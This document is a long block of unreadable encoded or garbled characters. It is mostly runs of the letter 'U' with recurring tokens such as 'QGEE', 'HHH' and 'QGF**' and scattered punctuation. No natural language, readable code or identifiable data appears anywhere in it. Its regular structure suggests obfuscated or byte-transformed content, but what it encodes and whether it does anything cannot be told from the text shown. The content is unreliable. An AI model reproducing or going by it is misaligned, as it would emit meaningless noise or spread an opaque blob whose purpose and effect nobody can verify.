*B^^UUUUUIUUUUU]AII@\\UUUUUUUUUUUUQC@LUUUUHUUU*F]DBLE\]QGEEYUQFE\NU]QC@LUUUHHHU\UUUNUUQCCBUUUHUQC@LUUUUU^UUCLG]DBGF\]QFE\NUUQCC@UHUUCLG]DBLE\]QGEEYUUMAL]DCGB\YUUQCCB\NUUUUUUU]QCC@UUUHHHUUUU		UUUUUQCC@UUUXUUUUQCCBUUUKUU]AE+DEA\\UUUUUUUQF*UUU[HUUCLG]DBLA\]QGEEYUUEYUUUQCCB\NUUUUQGEEUUUHUUUU*F]DBLA\]QGEEYUUQCCB\N NUUUUUUUUUUUUQDEDEDUUUHUUUMAL]DBLA\]QGEEYUUUQCCBYUUQCC@UXUUQCCB\NUUUUUUUUU]T*F]DBGD\]CLG]DBLB\YUQDEDED\\UUUUUUQF*UUU[HU*F]DBLM\]QGEEYUUUUEYUQCCB\NUQGEEUUUHUUUUCLG]DBLM\]QGEEYUUUQCCB\N NUUUUQMA@AAUUUUHUUUU*F]DBLL\UU[UQ*U[UUU*F]DMEE\U[UUQDEDEDUUU[UMAL]DCGB\NUUUQMBBDUHUUUUUMAL]DBLE\]QGEEYUUQMA@AAYUUUQCC@\NUUUU]QMBBDUUHHHUUU\UNUUUUQF*UU[HUUUF]DBLM\]QGEEYUUUUEYUUUQC@L\NUUUUUUUQEUHUUUUMAL]DBLM\]QGEEYUUUQC@LYUUUUQMBBDU^UUCLG]DMED\]QMA@AA\UXUUUUQC@L\NUUUU]QC*EDMUTHHUU \UUUUUUUUUUUUQGDAL @BCUUHUMAL]FF@\]QC*EDMYUUUQE\NUU]F]DBL@\]QGDAL @BC\\UUQF*U[HUUQGDAL @BCNUUUUUUQF*UUUU[HUUUUUUQENQ@A*AH%=%*84?:'*#0'&<:;NQDEGBHQ@A*A_@NUUUUUUQGEEUHUMAL]DBLM\]QGEEYUUUUQMBBDUUUU^UUMAL]DMED\]QMA@AA\\NUUU UUQF*UU[UUUUUUQGEENUUU UUUCB @FDFM]QD\U UWWNUUUUUUUU UUUBFF DEM]QD\UUUUU]TF]DBL@\]QD\\UU UWWNUU]T]CLG]D@C@\\\UU UQDNUQDLUUHUUL ]47&%4!=UUUU[UUF]DMEG\YUUUUU]AIID\\NUUUUUUUUUUUU]CLG]DBGD\]CLG]DMEF\U[UUQDLUUU[UUF]DMEA\YUQD\\UUUU UWWNUU UUUUUQDNUUUU UUUUU*C@M]QGEE\UU]T*F]DME@\]QGEE\UUU		UUUUQGEEUUUUHHHUWW\U UUUQGEENUUUQEGED UUHU LADF]QGEEYUUUCLG]DMEC\YUUF]DMEB\\NUUUUQEGED UUHUU LADF]QEGED YUF]DMEM\YUU*F]DMEL\\NUUUUUU]CLG]DMDE\]QEGED \\UQEGED UUHUUCLG]DCFB\]CLG]DMDD\YUUUUUUWWYUUUQEGED \NUUUU]TMAL]DMDE\]QEGED \\UUUUUUQEGED UUHUQGEENQM@LH%=%*<;!*84-Z%=%*<;!*84-NQ  *HQM@L^LDNUUUUUUU]LD]QEGED \\UUUUUUUUQEGED UHUUU LADF]QEGED YUUUF]DMEC\YUCLG]DMDG\\NQEGED UUUUUHUU LADF]QEGED YUUMAL]DMDF\YUUUUUMAL]DMDG\\NUUUUU]MAL]DMDA\]QEGED \\UUUQEGED UUHUUUUCLG]DCFB\]F]DMDD\YUUWWYUUQEGED \NUU UUUUUUCLG]DMDA\]QEGED \UJUUQEGED UUOUQGEENUU UEB  F@LFB]QGEE\UUUUUUUUU]T*F]DMDA\]QGEE\U		UT]CLG]D@C@\\\U UNUUUUUU]*F]DBGD\]MAL]DMDD\YUUQGEE\\UUU U NQ UUUUHUUUL ]47&%4!=UU[UUUUCLG]DMD@\YUUU]EC^EG\\NU]CLG]DBML\]F]DMDC\YUQGEEYUUUUQ@GAL\\UUUU]Q@GAL.D(UUUUUUUUUQDGM\UUUUUUUUUUUUU]*F]DBLM\]QDGMYUUUX]A^@\\UUUHHHUURORUU[UUQ \UU UUUUUU NUUUUUUUUQ*UUUUUHUUF]DBLM\]MAL]DBC@\]47&%4!=UUUU[UUF]DMDB\\YUUUEYUUUUU]DGXA\\NUUUUUUU]CLG]DBML\]F]DMDM\YUUQGEEYUUQ*\\UZZU"%U&U7U UUUUU]Q*.D(UUUUUQE E\UUUUU]QE EUUUUHHHUUUQ*\UU U NUUU UUUUNUUUUU ULD* D]\UUUUUU]T]Q*20!.F]DMDL\(\U		UUTMAL]DMDA\]Q*20!.MAL]DMDL\(\UU		UUUUTMAL]DBGM\]*F]DBE@\\\UU NUUUUUQGF** UUHUUUU5*]*F]DMGE\YUU]\\NU]T*F]DMGD\]QGF** \\UUU NUQMBMCMAFUUHU]\UQ*20!.*F]DMGG\(NUQMAMBUHU]\NUU]]QGF** .RR(\\UUUUQMAMB.(UUUHU]\UUUUQGF** .RR(NUUUUUUU]]QGF** .*F]CFE\(\UUSSUUUUUCLG]DMGD\]QGF** .F]CFE\(\\UUUUUUU]QGF** .F]CFE\(UUUUUQL \UUUUUUU]CLG]DMGD\]QL \UUUUUUSSUUUUU]QL .RR(\\UUQMAMB.(UHUUUUU]\UUUUQL .RR(NUUUUUUUUQ BGLUUHUNUUUUUUU]QMAMBUUUUQG\UUUQFFH%=%*84?:'*#0'&<:;NQMHQFF_@NUUU]QGUUUUHHHUWW\UUU NUUQ BGLUHUUUUCLG]DBGM\]CLG]DMGF\\UUUJU* ]QGYUUUUUQMBMCMAF\UOUUUU]QGUHHHUUUUUUQMBMCMAF\NUUUU]Q BGL\UUUUNUUZZU5U UUU]TQ BGL\U NUUU]F]DBGM\]F]@GG\\\UUUUUF]@GG\] UU]\U U]QMBMCMAF\UUUUUUUUUUUUW)ITXX&6>OWUUUU[UQMBMCMAFUU[UUMAL]DMGA\NU\NUUUUUU UULB@G* ]\UUUUUUUUUUUUU]TF]DMG@\]F]DBE@\\\UU UUNUUQBD@LCLBUUUUUHUU5*]F]CG@\YUUWW\NUU]TCLG]DMDA\]QBD@LCLB\UUU		UUMAL]DBLE\]QBD@LCLBYUUUMAL]DMGC\\UTHHUE\U UUUUNQF*BFUUUHUUUU]\UU*F]DBLM\]QBD@LCLBYU]DML+DMB\\NUUUUUUUUU]QF*BFUUSSUUUU*F]DMGB\]\UUUXUUQF*BFUKUUU]MCF@C^AA\\U UN UUUUU NU UED*L @]QEMEMYUQ @ M\ZZU8UOU UUUUUUUUUU]TF]DMG@\]*F]DBCC\\UU		UTCLG]DMGM\]*F]@GG\\\U UUNUUUUUUU]LB@G* ]\\UUUU U NUUUUUQGF** UUUHUU5*]F]DMGE\YUUU]\\NUUUU]T*F]DMGD\]QGF** \\UUQGF** UHUUUUU]\NUUUUUUUUU]T]QGF** .CLG]DMGL\(\UU		UTCLG]DMGD\]QGF** .F]DMGL\(\\UUQFABMUHUUUUU]\NUUU]]QGF** .RR(YUUQGF** .RR(YUQGF** .RR(\\UUUZZUUUXUUUUUQFABM.MAL]DBC@\]]\UUUQGF** .RR(\(UUHUU]RRUUUUHKUU]\UQGF** .RR(YUUUUURRUUUHKUU]\UUUQGF** .RR(YUURRUUHKUUUUU]\UQGF** .RR(YUUUUUCLG]DEME\UHKU]QGF** .*F]DEME\(\UUJUUU]\UUQGF** .CLG]DEME\(UUOUUMAL]DMGB\]\YUCLG]DMFE\UUUHKUEYUURRUUUUHKUE\NUUUUUQGF** UUHUU]MAL]DMGL\UUHKUUQFABM\NUUUUUQDEDEDUHUUUUUCLG]DBC@\]QEMEM\NUUUUUUUU]]QGF** .F]DMGL\(.QDEDED(\\UUUUUUQGF** .F]DMGL\(.QDEDED(.MAL]DEME\(UUUUUUHUUUCLG]DMFD\]\NUUQGF** .CLG]DMGL\(.QDEDED(.*F]DMFG\(UUUHUUUUENUUUUUQGF** .MAL]DMGL\(.QDEDED(.RR(UHUU]Q @ MUUHHHUUUWW\UUUJUDUUUOUUUENU]T FAF@D]QGF** .F]DMFF\(.QDEDED(.RR(YUUUUUUQ @ M\\UUUUUUUUUUAAMGG*  ]*F]DMFA\YUUUUUMAL]DMF@\\NU UUUUNUUUUUUUUUUUUUQBD EUUHUUUGMFM]\NUQLAFUHUUUQBD EUU[UUCLG]DMFC\UUU[UUL ]QEMEMYUU]DLXB\\UUU[UUUUMAL]DMFB\NU]T FAF@D]QLAFYUUUQ @ M\\UUAAMGG*  ]CLG]DMFA\YUUUUUUF]DMFM\\NUUUUU UUNUUUQGF** .MAL]DMFF\(.QDEDED(UUUUHUU]RRUHKUUUUADCEBGED]]AB+CF\\YUUURRUHKUUUUUQEMEMYUUUUURRUHKUUUUQLAFYUMAL]DEME\UHKU*F]DMFL\]\YUF]DMAE\UHKUEYURRUUHKU]Q @ MUUHHHUUUWW\UUUUUUJUDUUUUOUUUE\NUUUUUUUUUUU]MAL]DMAD\]QGF** .*F]DMFF\(\UUUKUUUUU]DAXA\\UUUUUQAMFUUUUUHUU NUUUUUQCEF FAUUUUHU NUUUU]QGF** .MAL]DMFF\(UUUUQDGD BCUHKUUQMCDDE\UUUUUUUU]QCEF FAUUUHHHUUU U		U]\UQMCDDE.F]DEME\(UUIUUUUUQCEF FA\UQEH]E^EBA\NQA**HQEPLNUUUUUUUQCEF FAUUHU]\UQMCDDE.CLG]DEME\(NQAMFUHUUUQDGD BCNUUUUUUUU]QAMFUUHHHUUU \UNUE F]QGF** .*F]DMAG\(.QAMF(.RR(\NUUU ]QGF** .CLG]DMAG\(.QAMF(\NUUUUUUUUUUU5 *]F]DMAF\YUUUUQGF** YUUUUMAL]DBAF\\NUUU*F]@GG\]F]DMAA\\NU UUU NUUUUU UEMGMD A]QMDC\UUUUUUUUQUUHU5F]DMA@\]QMDCYUU]MAL]DD@F\UUUHKUU]L^F\YUUUUF]DDAC\UUUHKUUYUUMAL]AAM\UHKUU YUUUUUUMAL]DMAC\UUUUUHKUUEYUUUUUMAL]DDAM\UUHKUU]F]DDAL\UUUUUHKUF]DMAB\YUUUUU*F]DMAM\UUUUHKUUF]DD@E\\\\NUUUUUUUUU]F]DMAL\]F]DM@E\\UUSSU**]Q\\UU U]XDYU\NUUUUUUQAM@GE DUUUUUUHUUF]DMAL\]CLG]DM@D\\UUUJU]\UUU****]Q\UUOUENUU UU]QAM@GE DYUUQAM@GE DUUUUKUUEUSSUUUUCLG]DM@G\]F]DM@F\\UJU]\UUUUU***]Q\UUUOUWW\NUU UUUF*CB]QL \UUQDBDBMUUUUUUHUUU5*F]DM@A\]QL .RR(\NQADACA MAHDM_@NQDHQADACA MAXAENUU]T*F]DMDA\]QDBDBM\\U UNUUUUUUUUU]QDBDBMUUUUHHHUUUUUWW\UUUU]]QL .RR(\\U UUNUUUUUQEMUUUHUUT5MAL]DM@@\]QL .RR(\NUUUUUUU]TQEM\UUUUUQAAFH%=%*<;!*84-Z%=%*<;!*84-NQC*HQAAF^G@NUUUUF* ]QL .RR(YUU]FBL^AD\\NUUUUUUUQEMUUHUE F]QL .RR(\NUUUUUUUU]F]DM@G\]*F]GEE\\\U5*]QL .RR(YU \NUU UQEMNQ@EH%=%*84?:'*#0'&<:;NQLGHQ@E_DNUUUUUUUUUUUUUUU]T FAF@D]QL .RR(YUUQDBDBM\\UUUU UUNUUUUUUU]CLG]DM@G\]*F]GEE\\\UU5*]QL .RR(YUU \NUUUU UUU NUUUU UUUU *AD]\UUU]TCLG]DM@G\]F]DM@C\\\UU NUUQGF** UUHUU5*]F]DMAF\YU]\\NUUUUUU]T*F]DMGD\]QGF** \\U NUUUUUUUUUUU]T]QGF** .*F]DMAG\(\UU		UUTMAL]DMGD\]QGF** .F]DM@B\(\\UUUUUUUUUQFABMUUHU]\NUUUUUUUUU]]QGF** .RR(YUUQGF** .RR(YUUUQGF** .RR(\\UQFABM.CLG]DBC@\]]\UUQGF** .RR(\(UUUHUUU]RRUUUHKUUUUU]\UUUUUQGF** .RR(YUURRUHKU]\UUUQGF** .RR(YUURRUUHKUU]\UQGF** .RR(YUCLG]DEME\UUHKUU]QGF** .CLG]DM@M\(\UUUUUJUU]\UQGF** .CLG]DM@M\(UUOUF]DMFL\]\YUF]DMAE\UHKUUE\NQGF** UUHU]CLG]DM@B\UUHKUUUQFABM\NQACMHAG_CNQAAGHQACMXDCNUUUUU]]QGF** .F]DM@B\(\\UUUUU5*]CLG]DMAF\\NU NQL@@* HCEGNQDDHQL@@* PDCNUUUUUUUQ @ACLMUUUHUUUNUU]Q @ACLM\UUUUU NUUUUUUQ @ACLMUUHUUU NUUUUU]*F]DM@G\]MAL]DM@L\\\U5*F]DM@L\]\NUUUUUU]MAL]DM@G\]F]DMCE\\\UUUU5*F]DMCD\]\NUUUUU]F]DM@G\]F]DMCG\\\UUUU5MAL]DMCF\] \NUUUUUUUUU]T*F]DM@G\]*F]DMCA\\UU		UTF]DM@G\]CLG]BMF\\\U NUUQBUUHUUUU* ]RZR\NUUUQ*AEC@UHUUUU*F]DM@G\]F]CFC\\UUUJU** ]\UUUUUOUQBUU[UMAL]DMC@\NUUUQCCGLMFUUUUUHUUUUUUNUUUQBA*LGUUHUUU NQCL*@UHU]D^G\NUUUUUU]QGF** .*F]DM@B\(UUQDEDEDUUHKUUQL \UUUUUUUUU]TCLG]DMGD\]QL \UUU		UUU]QL .RR(\UU		UU]QL .RR(\UUU		UUU]QL .RR(\\UUUU ]QGF** .MAL]DM@B\(.QDEDED(\NUUQCCGLMFUUHU NUU NUUUUUUUU]*F]DMCC\]\UUXUU]\UUQL .CLG]DM@M\(UUKU]FFG^DACM\UU		UU]\UUUUQL .F]DMAE\(UUUKHUU]LXF\\UUUUUAAMGG*  ]F]DMFA\YUUUUMAL]DMCB\U[UUCLG]DCBC\]QL .RR(\\NUUUUE F]QL .RR(\NUUUUUU ]QGF** .CLG]DM@B\(.QDEDED(\NUUUQCCGLMFUUHUUUUU NUUU NUUUUUUUUUUUUUU]QCL*@UUUIHUE\UNUUQCL*@XXNUUQB*CGCGUUUUHUCLG]DMCM\UU[UUCLG]DMCL\]QL .RR(\U[U*F]DMBE\UU[UUUF]DDAA\]]EGD^ED@C\YUU]@DCDFE^AMFMCL\\NU]QAM@GE DYUUQ*E\UUUUUHUUUUEMGMD A]QBU[UUQB*CGCG\NU]QAM@GE DUUKUUE\UUQBA*LGUHUNUUUUUUU]QAM@GE DUUUIHUUUEUSSUF]DMBD\]CLG]BMB\\\UUUUF]BMB\]G\NUUUUUUU]QAM@GE DUUUUUIHUUE\UUUUUU]QAM@GE DYUUUQ*E\UHUUEMGMD A]QBU[UUUUUQB*CGCG\NUUUUU]QAM@GE DUKUUUUE\UUUUUUQBA*LGUUUHUNUUUUUU]QAM@GE DUIHUE\UUUQGF** .F]DM@B\(.QDEDED(.CLG]DMAE\(^^NQCCGLMFUHUUU N NUUUUUUU]QAM@GE DUUKHUU]AFA^CC\\UUUUUUUUUUUUU]F*CB]QL \\UUAAMGG*  ]MAL]DMFA\YUMAL]DMBG\UUUUUU[U*F]DCBC\]QL .RR(\\NE F]QL .RR(\NU ]QGF** .CLG]DMBF\(.QDEDED(\NUUUUUUUUQGF** .MAL]DMBF\(.QDEDED(.F]DMAE\(^^NUUUUQCCGLMFUHUU N NUUUUUUUUU]CLG]DMBA\]Q*EYUMAL]DMB@\UUU[UUUUQL .RR(UUU[UCLG]DMBC\\UUUTHHUUU\UUUUUE F]QL .RR(\NU ]QGF** .F]DMBF\(.QDEDED(\NUUQCCGLMFUHU N NUUUU]Q*L@BCDYUUUUUQ*\UUHUUEMGMD A]Q*AEC@U[U]MAL]DMBB\]Q*AEC@YUUUURJR\UHHHUUUUUJUUUURJRUUUOURSR\UUU[UUMAL]DMBM\UU[UCLG]DMCL\]QL .RR(\UUU[UMAL]DMBE\UUUUU[UCLG]DDAA\]]DEMF@EXMF@E\YU]DD@ALF^MMA@EC\\\NUUUUUUUUU]Q*L@BCDUUKUUUE\UQBA*LGUHUNUUUUU]Q*L@BCDUUUUUKHUUUU]LF^AEB\\UUUUUUU]F*CB]QL \\UUUUZZU"%U!U6 OUUUUUAAMGG*  ]CLG]DMFA\YUUCLG]DMBL\UUUUU[UUUCLG]DCBC\]QL .RR(\\NUUUUUUE F]QL .RR(\NUUU ]QGF** .*F]DMBF\(.QDEDED(\NUUUUUUUUUUUUQGF** .CLG]DMBF\(.QDEDED(.*F]DMAE\(^^NUUUUQCCGLMFUUUUUHU NU NUUUUUUUU]MAL]DMDA\]Q*\UUUSSUUUUUCLG]DMBB\]Q*YUCLG]DMB@\U[UQL .RR(UU[UF]DMBC\\UUUUTHHU\UUUE F]QL .RR(\NUUU ]QGF** .*F]DMBF\(.QDEDED(\NUUUQCCGLMFUUHUUUU N NUUUUQGF** .MAL]DMME\(.QDEDED(.*F]DMAE\(^^NUQCCGLMFUUHUU NUUUUUU]QBA*LGUUSSUQCCGLMFUSSUT]QGF** .CLG]DMME\(\\UUQFDH%=%*84?:'*#0'&<:;NQAB*LMF*HQFD_FNUUUUUUQA@GGUUUUHUNUUUUUUU]QGF** .*F]DMME\(UUUUUQA@GF\UUUUZZU  UX UU"%U7U#UUUUU]]\UQA@GF.MAL]DMAE\(UKHUUUUU]AXD\\UQA@GGUUHUUUU NQDHBMGNQ*E@HQDPLNUUNUUUUUUUUU]QA@GG\UUU5 *]MAL]CG@\YUUUUMAL]DMMD\U[UUUMAL]DMMG\]\YUUUUUF]DBAF\\NUUUUAAMGG*  ]F]DMFA\YU*F]DMMF\\NUU]QGF** .CLG]DMMA\(UUUQDGD BCUUUUUUHKUUQA@GF\UUUUUUUUUUE F]QA@GF.RR(\NUUUU ]QGF** .F]DMMA\(.QDGD BC(\NUUUUUUUUUUUUUUUUUU]TQBA*LG\UZZU"%U$ U9UUUUQ@FGBMEUUUHU5*]CLG]CG@\YUUUUWW\NUUUUUUUUUUU]TMAL]DMM@\]Q@FGBME\UUUUUU		UUMAL]DMMC\]Q@FGBMEYUUUUMAL]DB@D\\UUUUTHHUUE\UU5 *]CLG]DMMB\YUUUCLG]DMMM\UUU[UUUMAL]DMMG\]\YUUUF]DBAF\\NUUUUUU]]QGF** .MAL]DMMA\(\\UU5*]*F]DMAF\\NUUUUUUU]QCCGLMF\UUUUU5 *]F]DMAF\YUUUUUUQGF** YUUCLG]DMML\\NUUUUUUUU UA]QGEE\UUUU UUUUU*F]DMLE\]QGEE\UUUUUSSUU]CLG]DMLD\]QGEEYUF]DMLG\\UUUTHHUUUUUUUU		UCLG]DMLD\]QGEEYUUU*F]DMLF\\UUUTHHUUUUUUU		UF]DMLD\]QGEEYU*F]D@@F\\UUUTHHUUUUUUU		UUCLG]DMLD\]QGEEYUUUMAL]DMLA\\UUUTHHUUUUU		UU*F]DMLD\]QGEEYU*F]DML@\\UUUTHHUUU		UUUCLG]DMLD\]QGEEYUUUUCLG]DMLC\\UUUUTHHUUUUU\NUUU UUGF@**]QGEE\UUUU]TA]QGEE\\UUUUUU UNUUUUUUUUU]LD]QGEE\\UUU UU NUUUUUU]*F]DBML\]*F]DMLB\YUQGEEYUUUUUQBD@LCLB\\UUUUUU]QBD@LCLB.D(UUUUUUUUQMCDDE\UUU]*]QMCDDEYUUMCCFB]\YUUUURIR\\UU UUUUU NUUUUUUU UNUU UU NUUUUUUU UUUU*C GLG]QFFGBD\UUU]T5CLG]DM@@\]QFFGBD\UUUUU		UUUT5F]DCCC\]QFFGBD\\UUUUU NUUQLEGUUUUUHUUU5MAL]DB@C\]QFFGBD\NUUUUUU]TQLEG\UU NUUU]QLEGUUUKUUU]DEAM@CCG^LM\\UUUUQAEBUUUHUU5MAL]DM@A\]QFFGBDYUUUUUYUU YUUEYU]C@A@M^BM\\NUUUUUUU]TA]QAEB\\UU NUUUUUU] AAB]QFFGBD\UUUUHHHUUUU\UUUUUUAAMGG*  ]F]DMLM\YUU*F]DMLL\UUU[UUMAL]DCBC\]QFFGBD\\N NU5*F]DLEE\]QFFGBDYUUUUUWIJ)W\NUUU]CLG]DMBD\]*F]GEE\\\U5*]QFFGBDYU \NU NUUUUU]QLEGUUUKUU]DC@CCGGXCEMEAC\\UUUUUUUUQEAFAAUUUUHUUUUU]\UU5*F]DM@A\]QFFGBDYUUYUU YUEYUU]EDFM^EBF\\NUUQDBBAFCUUHUUU]QLEGUUUUKUUU]D@AFCXBGAA\\UUJUUUUU]\UU5F]DM@A\]QFFGBDYUUYUUUU YUQLEGUUUXUUUUU]MDBA^DM\\UOUUWWNUUUQ G GAUUUUHUUQEAFAAUU[UQDBBAFCNUUU]Q G GAUUTHHUUUUUWWUUSSUUUCLG]DBML\]F]DMLB\YUUUQ G GAYUUUQ\\UUQLAE@ MDUHUUUNUUUUU]Q.D(UUUQM@GBEE\UUUUUUUUUUU]*]QM@GBEEYUUUMCCFB]\YUUUUUURIR\\UUUQLAE@ MDUUHUU NNUUUUUUUUUUUUU]TQLAE@ MD\U NUUUQGEEUUUHU5CLG]DLED\]QFFGBD\NUUU]*F]DMLE\]QGEE\UUUSSUUUF]DLEG\]QGEE\UUUKU]LGLCLA^DDMMMG\\UUQGEEUHUU*MB @AB]QGEE\NUUUUUU]T*F]DMLE\]QGEE\\UUU NUUUUUUUUU]TGF@**]QGEE\\UUUUU NUU*@@M]QFFGBDYUQGEE\NUUUUUU UU*@@M]QFFGBDYUUQGEE\QEGED UUHUUCLG]DLEF\]CLG]DLEA\YUUUUUWWYUQGEE\NUUU]T*F]DLE@\]QEGED \UUU		UUUUF]DGMD\]QEGED \UHHHUUUWWUU		UU*F]DGMD\]QEGED \UHHHUUCLG]BCD\\UUQEGED UUUHUUWIJ)WNUUUUU]F]DLEG\]QEGED \UUUUUKHUU]GA^ABC\UUUSSUUUT@LE*B ]QEGED \\UQEGED UUUHUUUUUUWIJ)WNQDFH%=%*<;!*84-Z%=%*<;!*84-NQCHQDF^A@NUQ*EGUUUHU5]QFFGBD\NUUUUUUUQ*EGUUUUHUU]Q*EGUUUHHHUU\UJUUU]GLE^DFE\UUUOUU]Q*EGUUUSU]AFB^BA\\NUUQDGAFLUUUUHUUUU5MAL]DLEC\]QFFGBD\NUQCELM*GCUHUU5MAL]GC\]CLG]DGCL\]QFFGBD\YUUUUF]DLEB\\NUUUUUU]QCELM*GCUUHHHUUUU\UUUU NUUU]5F]DLEE\]QCELM*GCYUUUQEGED \UUTHHUUMAL]DLEG\]QEGED \\UUUUUUUUU5CLG]BBD\]QCELM*GC\NUUU NUUU5CLG]DCA\]QCELM*GCYUUUQ*EG\NU]T5CLG]DLL\]QCELM*GCYUUQFFGBD\\UUUU5MAL]BBD\]QCELM*GC\NUUUU NUUUUUUUUUUUU]QDGAFL\UUUU5MAL]GD\]QFFGBDYUUQDGAFL\NUUUUU]CLG]DMBD\]*F]DLEM\\\UUUU5*]QFFGBDYU \NUUUUUUU UUUUU ECCLM]QD\UUUUUU]T*F]DLEL\]QD\\U UWWNUUU]*F]DBGD\]CLG]DLDE\YUUQDYUUUUQ*C**GL\\UUUUUUQGUHUUQ*C**GL.D(NUUUUQLEGUUHUU5CLG]DM@@\]QG\UUUUJUU5MAL]DB@C\]QG\UUUOUENUU]TQLEGUU		UQLEGUUIUU]EB^EDD\UUU		UUQLEGUUUKU]@GAGMBCB^FF\\UZZU UUUUUUU]QLEGUUKUU]BAMDFMFDXGGFM@EFD\\UUUUQL@AUUUUUHUUU5*F]MFM\]QG\NUUUUU]TMAL]DLDD\]QL@A\\UUUUQL@AUUHUQGNQL@AUUHUCLG]DBMG\]R))RYUUURZRYUQL@A\NQLM@C GUHUUUNUUUQGL* UUHUUUU]]CLG]DLDG\\UJUUUUUF]DAAA\]47&%4!=YUF]DADB\\UOUWWYUUUU]F]DCCL\\UJUF]DAAA\]"%*6:;!0;!*1<'YUUUMAL]DADB\\UOUWW\NUUUUUUUU]QGL* UUUUUQFL\UUUUUUUUQFLUUHUMAL]DBMG\]R))RYUUURZRYUUQFL\NUUUUUUUUU]QFLUUUUTHHUWWUUSSUF]DMLD\]QL@AYUUUUQFLUUUUU[URZR\UHHHUUE\UUUUUQLM@C GUHUUUUU NNUUUUUUUUUUUU]QLM@C GUUSSUU AAB]QG\UTHHUUU\UUU5F]BBD\]QG\N5MAL]BBD\]MAL]DLDF\]QG\UU[UUUUUF]BLL\UUUUU[UUMAL]DCBC\]QGYUUUUF]DBCD\\\NUUUUUUUUUUUUUAAMGG*  ]F]DMLM\YUUMAL]DLDA\U[UUCLG]DCBC\]QG\\NUUUUUU UUUWWNZZUUU XUUUU UUQDNUUUUUUUU UU@DAGD@AG @B]\UUQGUUHU NUUU]QGUUHHHUUUUU \UUUUUUUUUUQGDAL @BCUUUUUHUUUUBCMD@FD]\NUUUQGUUUUHUUUU]F]DMGD\]QGDAL @BC\UUUUUSSU]QGDAL @BC.*F]C@@\(\UUSSUF]DMLD\]]\UUQGDAL @BC.F]DLD@\(YUMAL]DLDC\\UUUUUUHHHUUUE\NU UUQGNUUUUU UUUUUCEGEA]\UUUUU]T]MAL]DLDB\\\UUUUUU NQGDBUUUUUHUU47&%4!=UUU[UMAL]D@B@\NUUU]T5*F]DM@@\]QGDB\\UUUUUQUUHUUMAL]DLDF\]47&%4!=\UU[UUUUMAL]DLDM\NUU]5*F]DLDL\]Q\\UQGDBUUUHUUUUQNUUUUUUUUUUUUU]T5CLG]DLGE\]QGDB\UU		UUUUT5CLG]DLGD\]QGDB\\UU NUUUUUQL@AUHUUUU5F]DLGG\]QGDB\NUUUUU]*F]DLDD\]QL@A\UUUSSUUUQL@AUTHHUUWWUUSSU5F]DLGF\]QL@A\\UQGDBUUHUUUUUQL@ANUUUUUUUU]5*F]DLGA\]QGDB\UKUU]EDGC@@L^EGLB\\UUUU NUUUQGEEUUUUHU5MAL]DLG@\]QGDB\NUUUUU]T*F]DLGC\]QGEE\UU		UUUQGEEUUHHHUWW\U NUUUUQ@LEUHUU]*F]DMLD\]QGEEYUCLG]DLGB\\UUUTHHUUU		UUU*F]DMLD\]QGEEYUF]DLGM\\UTHHUU\NQ*DAUHUNUU]F]DLGL\]QGEEYU*F]DLFE\\UHHHUUU\UZ_UUU_ZUUUU]T]Q29:749&.MAL]DLFD\(\\UUUUUQ*DAUUUHU NUUUUUUUUUUUUQ B@UUHUCLG]DMBD\]MAL]DLFG\\UUJUUUF]DLFF\]\UUUUOUUUUUU*F]DLFA\NUUUUU]T5*F]DLF@\]Q B@\UU		UUT5CLG]DLFC\]Q B@\\UUQ*DAUUHUUUUU NUUQ @**UUUUHUUUUNQM@BABUUUUHUUNUUUUUUU]TMAL]DBGD\]MAL]DLFB\YUQGEE\UUUSSU]*F]DCCL\\\UUUUUUUQ*UUHUUUUU"%*6:;!0;!*1<'UU[UUUUU*F]DFLA\NUUUUUUUUU]5*F]DLGE\]Q*\\UUUUUUUUUQ BC*MUUUHU]\UUU5*F]DLFM\]Q*YUUYUUUU YUUUUUEYUU]E^E@AC\\NUUUU]*F]DLGL\]Q BC*MYUUUCLG]DLFL\\UTHHUUUUU\UUQ @**UUUUHU NUUUUUUUU]UUMAL]DLAE\]QGEEYUUUUUCLG]CED\\UHHHUUUUUUSSUMAL]DBGD\]*F]DLAD\YUUUUUQGEE\\UUUQM@BABUUUHUU NUUUUUUUUUQ D ABLUUUUHUUUUNUUUUUU]@DAGD@AG @B]\\UUQGH@FGANQLEEHQGPD@NUUUUU]UUUUUUUTF]DBGD\]CLG]DLAG\YUUUUQGEE\		UUUUUTMAL]DBGD\]MAL]DLAF\YUQGEE\U		UTCLG]DLAA\]F]DLA@\YUUUUQGEE\U\UUQ D ABLUHUUUUU NUUU]TQ@LEUSSUUUUTQ*DAUUUSSUTQ @**USSUUUTQ D ABLUUUUUSSUUUUTQM@BAB\U NUUQAUUHUUWWNUUUUQEGED UHUUUQGEENUU]Q@LE\UUUUUUUUU]F]DBML\]*F]DLAC\YUUUQGEEYUUQLBF\\UUQAUU[HUUUMAL]DLAB\]W)WYUQLBF.E(\NUUUUQEGED UUHU*F]DLEF\]CLG]DLAM\YUUUWWYUUUQGEE\NUUUUU]TCLG]DLGC\]QEGED \\UUU NUUUUU]F]DLAL\]CLG]DL@E\YUUUUUUQEGED YUUUQF@@DG\\UUUUUQAU[HUUUW)WU[UUF]DLAB\]W)WYUUQF@@DG.E(\NQEGED UUHUUCLG]DL@D\]F]DL@E\YUWWYUUUUQEGED \NUUU]TCLG]DLGC\]QEGED \\UUU NUUUUUUUU]Q*DAUSSUUUUMAL]DLAA\]CLG]DL@G\YUUUQEGED \\UUQEGED UUUUUHUMAL]DL@D\]*F]DL@F\YUUCLG]DL@A\UUUU[UUUUUW]UR"%*!08%*1<'RYU]U]UR"%*6:;!0;!*1<'RU\UJU"%*6:;!0;!*1<'UOU47&%4!=U[URXRU\U[URZ[*RU\N)WYUQEGED YUD\NUUUUUUU]TMAL]DL@@\]QEGED \\U NUUUUUUUUUUUUU]Q @**UUUUUSSUF]DL@C\]MAL]DL@G\YUQEGED \\UUUQEGED UHUUUMAL]DL@B\]*F]DL@M\YUU*F]DL@L\U[UUW]UR"%*646=0RYU U\NUZ_U&6*"6U_Z)WYUQEGED YUUUD\NUUUUU]TF]DL@@\]QEGED \\U NUUUUUUUUU]QM@BAB\UUUUUQEGED UUUUUHUF]DLCE\]*F]DLCD\YUCLG]DL@L\U[UW]UR"%*646=0RYU U\NUZ_U&6*"6U_Z)WYUUQEGED YUUUUUD\NUUUUUU]TMAL]DL@@\]QEGED \\UUUUUU NUUUUUUUUU]Q D ABL\UUUUUUUUUUQEGED UUUUUHUUMAL]DLCE\]MAL]DLCG\YUUUUWWYUUUQEGED \NUUUU]TCLG]DL@@\]QEGED \\UUU NUUUU]*F]DLCF\]MAL]DL@M\YUUUQEGED \\UUUUUUUUUUQEGED UHUF]DLCA\]F]DL@M\YUF]DLC@\UU[UUUW